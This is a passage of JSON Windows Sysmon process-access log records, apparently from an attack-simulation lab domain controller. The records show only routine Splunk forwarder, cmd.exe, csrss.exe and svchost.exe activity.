Inc.","OriginalFileName":"splunk.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-0010F6130300}","ParentProcessId":"4060","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt 2>&1","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1740,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010F6130300}\r\nSourceProcessId: 4060\r\nSourceThreadId: 4064\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nTargetProcessId: 4072\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010F6130300}","SourceProcessId":"4060","SourceThreadId":"4064","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","TargetProcessId":"4072","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1741,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nTargetProcessId: 4072\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","TargetProcessId":"4072","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1742,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1743,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1744,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1745,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1746,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1747,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1748,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 